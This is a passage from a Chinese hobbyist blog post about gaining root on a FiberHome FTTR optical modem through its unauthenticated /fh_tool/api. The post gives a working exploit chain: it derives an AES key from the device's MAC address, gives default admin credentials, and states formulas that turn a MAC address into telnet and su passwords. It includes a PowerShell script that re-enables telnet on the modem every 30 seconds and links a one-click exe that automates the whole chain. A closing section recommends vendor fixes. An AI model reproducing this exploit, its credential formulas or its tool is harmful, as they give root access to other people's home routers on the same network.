四个脚本,全部落在只读的 /fhrom/ 下。没有任何一个来自可写区(/fhconf、/fhdata、/opt/cu/apps)。serviceMgr 引用 /fhconf/ 的时候,只读 .conf 这类配置文件,从不执行脚本。想在可写区塞一个“开机自动跑”的钩子,这条路也没有。

还有一个细节我顺手记一下:官方的参数工具 cfg_tool 其实是能读写参数的,但它是坏的——/fhrom/bin/cfg_tool 一跑就报缺库:

openssl: error while loading shared libraries: libssl.so.1.0.0
tar: invalid magic

固件把 openssl 的动态库漏打包了,除非自己补齐这个 .so,否则官方工具根本用不了。我本来是打算绕开它走 process_start_list 的,现在回头看,绕不绕都没用——那条路前面已经证明死了。

为什么一定失败:一句话的根因

把上面所有失败收口,根因其实很简单,一句话:

telnet 的开关状态,在 serviceMgr 内部是纯内存态。TelnetEnable 有配置键的名字,却没有落盘的实体;而开机唯一能拉起 telnetd 的地方,被工厂模式标志把守着,代价是换掉整机无线驱动。一头是纯内存、一头是动不得,中间没有第三个入口。

整理成一张表,把每条路和它的决定性证据列清楚:

尝试结果决定性证据
/fhconf/process_start_list 追加一行失败sysmgr 里 telnetd 出现 0 次、ready 只有 8 个
serviceMgr 的配置项失败factory_conf 与 uci show -c /fhconf 都没有 telnet 项
改 /etc/init.d/rcS1失败remount,rw 返回 0,但 touch 仍 WRITE_FAIL
改 /etc/passwd_old失败同处只读 squashfs
cfg_tool 写参数失败缺 libssl.so.1.0.0,解不开加密参数包
/fhconf 放可执行钩子失败serviceMgr 只引用 .conf,没有 .sh 执行路径
建 factorymodeflag有代价唯一能生效,但会换掉无线驱动并关停多项服务

排除掉所有其他选项之后,剩下的路只剩两条,而我一条都不推荐:要么接受工厂模式的副作用(WiFi 驱动换成测试固件,另外还有好几个服务不启动);要么用编程器直接刷 squashfs 镜像(但整篇的前提就是手边没有编程器)。

换思路:既然改不了设备,那就把守护放在设备外面

我盯着那张失败表看了很久,然后意识到一件事:我一直默认“固化”必须发生在设备内部,可这个前提本身就不成立。

别忘了最开头那个结论——/fh_tool/api 是完全未授权的,任何人同网段拿到 MAC 就能调。既然它随时能从外部打开 telnet,那我根本不需要在设备里留任何东西,把守护放在我自己的电脑上就行。效果一模一样,副作用是零。

逻辑很朴素:定时戳一下设备,如果它在线、而且 23 端口关着,就重新下发一次 TelnetEnable。设备重启、掉电、被恢复出厂,我这个脚本都会在它回来的第一时间把 telnet 重新打开。

$mac = 'MAC_ADDR'    # 大写、无分隔符
$h = [System.Security.Cryptography.SHA256]::Create().ComputeHash(
        [Text.Encoding]::ASCII.GetBytes($mac))
$d = ($h | ForEach-Object { $_.ToString('x2') }) -join ''
$key = -join (0..15 | ForEach-Object { $d[2 * $_ + 2] })
$iv  = -join (0..15 | ForEach-Object { $d[3 * $_ + 3] })

function Test-Port { param($h, $p)
  $c = New-Object System.Net.Sockets.TcpClient
  try {
    $ar = $c.BeginConnect($h, $p, $null, $null)
    if ($ar.AsyncWaitHandle.WaitOne(2000, $false)) { $c.EndConnect($ar); return $true }
    return $false
  } catch { return $false } finally { $c.Close() }
}

function Enable-Telnet {
  $json = ([ordered]@{ index='1'; func='TelnetEnable'; telnet='1' } | ConvertTo-Json -Compress)
  $a = [System.Security.Cryptography.Aes]::Create()
  $a.Mode = 'CBC'; $a.Padding = 'PKCS7'
  $a.Key = [Text.Encoding]::ASCII.GetBytes($key)
  $a.IV  = [Text.Encoding]::ASCII.GetBytes($iv)
  $ct = $a.CreateEncryptor().TransformFinalBlock(
          [Text.Encoding]::UTF8.GetBytes($json), 0, $json.Length)
  curl.exe -s --max-time 10 -H "Content-Type: text/plain" -H "Connection: close" `
    --data-binary ([Convert]::ToBase64String($ct)) 'http://TARGET/fh_tool/api' | Out-Null
}

while ($true) {
  if (Test-Port 'TARGET' 80) {
    if (-not (Test-Port 'TARGET' 23)) {
      Enable-Telnet
      Write-Host "$(Get-Date -f 'HH:mm:ss')  telnet 未开,已下发 TelnetEnable"
    }
  }
  Start-Sleep 30
}

这段脚本我实际跑过。它比“内部固化”好在三个地方,而且都是实打实的:

  • 零设备改动。不碰配置、不换驱动、不影响 WiFi 和业务。设备那边始终是出厂状态。
  • 可逆。想停就停,把脚本一关,设备上不留任何痕迹。
  • 恢复出厂、固件升级之后依然有效。它不依赖设备持久化——未授权这件事来自固件设计本身,不会因为重启或升级而消失。

唯一的依赖是 MAC 不变。而 MAC 是硬件属性,恢复出厂和固件升级都不会改它。所以这个前提是稳的。

说白了,我没能“破解”这台设备的持久化机制——我绕过了它。原来我以为要在设备里找一个入口,最后发现真正的“入口”根本不在设备里,而在那台随时能调未授权接口的电脑上。把守护放在外面,等于把“固化”这件事从设备问题变成了我自己的脚本问题,而后者我完全可控。

这一节收尾时的一句提醒

如果你照着做,验证固化有没有成功,有一个纪律必须守住:重启之后,绝对不要再去调 TelnetEnable。否则你分不清 23 端口是自己开起来的,还是你手动开的。正确做法是重启完,只查 23 端口,别的什么都不碰。

我做这一整轮验证的时候,就是靠这条纪律才确认“内部固化真的没成功”——如果我重启后顺手又开了一次,很可能就误判成“固化生效了”,然后在下一篇文章里把这个错误结论写给所有人看。

收尾前的踩坑记录:这部分可能比结论有用

技术过程能复现,但踩过的坑才是真正花时间的地方。我把几个记得住的都列出来,你如果照着做,能少走点弯路。

第一个坑:把“攻击机掉线”误判成“设备离线”。中途有一次,ping 不通、23 和 80 端口全 timeout、ARP 表里目标网段一个条目都没有,我一度判定“设备挂了”,还去检查电源。真实原因是我自己的电脑 WiFi 掉线了,跟设备一点关系没有。重连之后一切恢复,GetDevInfo 立刻正常。这个教训很朴素但很值钱:在对这类设备做批量探测之前,先确认你自己的网络是连着的;一旦掉线,之前所有“端点异常”的结论全部作废。

第二个坑:把回显当成提示符。前面提过一次。telnet 会回显,读取窗口太短就会把敲进去的密码当成登录成功的标志。判据只看 $、#、Error! 这三个。

第三个坑:设备只容忍一条并发 telnet 连接。我图省事并行跑了好几个测试脚本,结果互相踩,服务端直接发 RST,报“Unable to write data to the transport connection”。老老实实串行、每次间隔两秒以上、用完彻底关连接,别贪快。

第四个坑,也是我这次最想认的错:那个恢复出厂测试,代价比我想的大。

当时为了验证“密码是固定值还是随机值”,我执行了 RestoreDefaultSettings。验证目的达到了,但我事先低估了它的破坏范围——恢复出厂会把这台机器上跟运营商相关的配置一起清掉,PPPoE 账号、FTTR 配对信息、还有装维下发的那些参数,全没了。对一台正在服役的猫来说,这不是按个按钮就完事的。

我是事后才反应过来:在这样一台“只有读接口、没有写接口”的设备上,我原来那句“先备份再改”其实是句空话。因为备份只能用于事后比对,根本没法回写——没有写文件的能力,备份拿在手里也恢复不回去。那句话听起来很稳妥,但它隐含了一个并不成立的前提:我能把东西放回去。

好在这台从猫是挂在主猫下面的,配置可以由主猫重新下发,后来也观察到它确实慢慢恢复了一部分。但如果你要复现这个判断,请一定要提前想清楚:这台设备是不是在生产状态、能不能承受这个代价。别像我一样,先动手后想风险。

还有个细节顺手记一下。我一开始还想通过改“省份预配置”来找带凭据的配置模板——函数清单里有个 SetPreconfig,能切 34 个省份的预配置。我想着切到某个“临时”配置说不定能拿到已知口令。试了一次,副作用立刻就来了:设备原本一个几千字节的用户配置文件被清空了,里面的超管密码、WiFi 密钥、TR-069 参数快照全没了。我赶紧切回广东的配置,好在它是按省下发的,恢复得回来。这又一次印证了同一件事:对这类设备,任何带副作用的接口,动手之前都得想清楚它改的是什么。

整条链路理一遍

把过程压缩成一张图,方便你对着复现。每一步的产物我都标出来了:

① arp -a 取网关 MAC
        ↓
② sha256(MAC) 派生 key/iv → /fh_tool/api 零凭据可用   ← 支点
        ↓
③ 函数名 oracle 枚举 → GetAdminAccount 吐 CUAdmin/CUAdmin
        ↓
④ TelnetEnable(telnet=1) → TCP/23 开
        ↓
⑤ DownloadFile /var/telsu → root:$5$fh$...
        ↓
⑥ 恢复出厂对比 → 哈希不变 → 判定为固定值(有代价,慎用)
        ↓
⑦ 候选公式 + openssl passwd -5 自证 →
     登录 = Fh@ + MAC 后 6 位
     su   = hg2x0 + MAC 后 6 位
        ↓
⑧ su → id → uid=0(root)
        ↓
⑨ 读 /proc/cpuinfo、/proc/meminfo、/proc/mtd 补齐硬件结论
        ↓
⑩ 尝试开机固化 telnet(5 条路全部证伪)
        ↓
⑪ 改用「设备外守护」:定时戳 23 端口,关了就用 /fh_tool/api 重开

整套流程下来,用的东西其实很少:一个 ARP 命令、一段 PowerShell 的 AES 加解密、一个 SHA256 摘要的取字符规则、再加一个 openssl 命令做验证。没有第三方漏洞利用工具,没有硬件,全靠把设备自己吐出来的信息串起来。如果你懒得手搓这套流程,下文我把它打包成了一个一键小工具。

嫌上面太麻烦?我把它打包成了一个双击即用的小工具

上面这套流程我自己跑一遍不吃力,但说实话,对刚上手的人不友好——ARP 取 MAC、SHA256 派生 key/iv、AES-CBC 拼一段密文 POST 到 /fh_tool/api、再按函数名一个一个试、最后还得靠手速把公式套出来。中间任何一步搞错,现象都是“接口返回一段看不懂的乱码”,很容易卡住。

所以我把整条链路压成了一个 Windows 小工具,双击就能用,不需要装 Python、不需要敲命令、也不懂加密也能点。

烽火光猫助手 FG_Tool.exe 主界面:设备连接、一键操作、MAC 派生凭据、日志四个区域
烽火光猫助手 v1.0 主界面。左边是设备连接,中间是一键操作,下面是按 MAC 派生出来的三组凭据,右下角是实时日志。

它的做法跟正文手搓的完全一样,只是把那些步骤藏进了按钮里:

  • 探测设备 & MAC:先探一下 80 端口通不通,再从本机 ARP 表里读出光猫网关的 MAC,自动算好 key/iv——这一步对应正文的①②。
  • 「一键开启 telnet + 取超管」那个按钮:把 GetDevInfo、GetAdminAccount、TelnetEnable 三个接口按顺序调一遍,相当于正文的③④。点完这一个按钮,telnet 就开了,超管凭据也直接填进框里。
  • 凭据区:telnet 登录、su 提权两组口令按 MAC 规则算好摆在那,旁边有复制按钮——对应正文的⑦。注意这里没有去猜 $5$ 哈希,而是直接套 Fh@ + MAC 后 6 位 和 hg2x0 + MAC 后 6 位 这两个公式,也就是正文验证过的那两条。
  • 守护:掉线自动重开:这个勾选框对应正文最后一节。设备重启后 telnet 会掉,勾上它,程序每 30 秒探一次 23 端口,掉了就自动重调 TelnetEnable 重新开——就是那个“设备外守护”的现成实现。

举个最省事的用法:连上这台光猫的 WiFi,打开工具,地址默认就是 192.168.2.1,点一下「探测设备 & MAC」,再点「一键开启 telnet + 取超管」,三组凭据就出现在框里了。剩下的 telnet 连接、su 提权,用任何一个终端软件(Windows 自带的 telnet 客户端、MobaXterm、PuTTY 都行)按框里的凭据登进去就行。

下载与使用:工具已打包成单文件 exe,放在了 NAS 上,可以用下面的链接取:
分享链接:https://ug.link/xiaozou/filemgr/share-download/?id=b284ced7747e4ab6937fd16e6af2f32b
访问密码:8f4Y
双击运行,目标机是 Win10/11 即可,不用装任何运行时(靠系统自带的 .NET Framework 4.x)。

几点得说在前面,免得你踩坑:

  • 它只对烽火这一套(HG6371F / HG5145D 这类从猫)有效,因为它依赖 /fh_tool/api 这个接口和“MAC 派生密钥”的规则——换别的牌子、别的固件,公式和接口都不成立。
  • 超管那一栏能不能读到,取决于你这个固件里有没有 GetAdminAccount 这个函数。没有的话它会提示“无响应”,此时直接用 CUAdmin / CUAdmin 试——联通定制版出厂就是这个,正文第一步讲过。
  • 程序不改设备固件、不刷机,做的都是正文里那些接口调用。但它确实会连上你的光猫、会开 telnet,所以只在你自己的设备、自己的网络上用。
  • 它是让“复现”变简单,不是让原理变简单。想真正搞明白每一步在干什么,还是建议照着正文从 arp 那一步走一遍。

源码和编译脚本我也一并留了(FgTool.cs + build_exe.ps1,用系统自带的 csc.exe 编译,不依赖 Visual Studio),想改的可以直接拿去看看逻辑——里面每一段都对着正文的步骤,注释写清楚了哪一步对应哪个接口。

站在防御这边看:这些问题不该出现

我拆自己的设备是为了好玩,但把这条链路倒过来看,它暴露的问题挺严重的。如果这台猫是放在别人家客厅里的,同 WiFi 下任何一个能跑脚本的人,都能一路拿到 root。我觉得有几条是很明确的:

  1. /fh_tool/api 必须加认证,或者至少绑定来源。现在只要同网段拿到 MAC 就能调 GetAdminAccount、TelnetEnable、甚至 RestoreDefaultSettings。这是整条链路的起点,也是最该先修的一条。
  2. 超管口令不能硬编码,更不能明文吐出来。每台设备一机一密,跟 MAC 派生这件事也要解耦。
  3. telnet 凭据不该能从 MAC 推导。现在这种“MAC 后 6 位 + 固定前缀”的规则,等于让 MAC 一旦泄露就等价于 root。而 MAC 是局域网里最容易拿到的东西。
  4. DownloadFile 的白名单太宽了。/var/telsu 这种直接包含 root 凭据的文件,本来就不该落在一个未认证的下载接口能碰到的地方。
  5. 破坏性操作要有二次确认。RestoreDefaultSettings、SetPreconfig 这类一调就改状态的接口,不该只凭一段加密体就放行。
  6. telnet 服务本身是个老问题。运营商设备为了运维方便保留它,但至少应该在默认状态下关闭,而不是一个接口就能打开。

写到这我想留个话尾。这套研究方法本身没有多高深,真正让它成立的是设备厂商的“信任边界”划得太随意——把加密密钥交给 MAC、把凭据放在可读目录、把调试接口留在公开路径下。这些东西单看每一条都像“小问题”,串起来就是一条完整的提权链。

后面有空我想把这台机器和它配套的主猫放一起,做个完整的联调测试,看看 FTTR 真正跑起来是什么样。如果你也在折腾烽火的这套 FTTR,欢迎在评论区聊聊你的发现——尤其是主猫那边,我还没碰。

欢迎来到XiaoZou123,这里是一个电脑极客、数码爱好者网站。我平时喜欢关注数码新闻,研究计算机技术。如果你看我头像觉得我是二次元,那我其实还算不上!
最后更新于 2026-10-06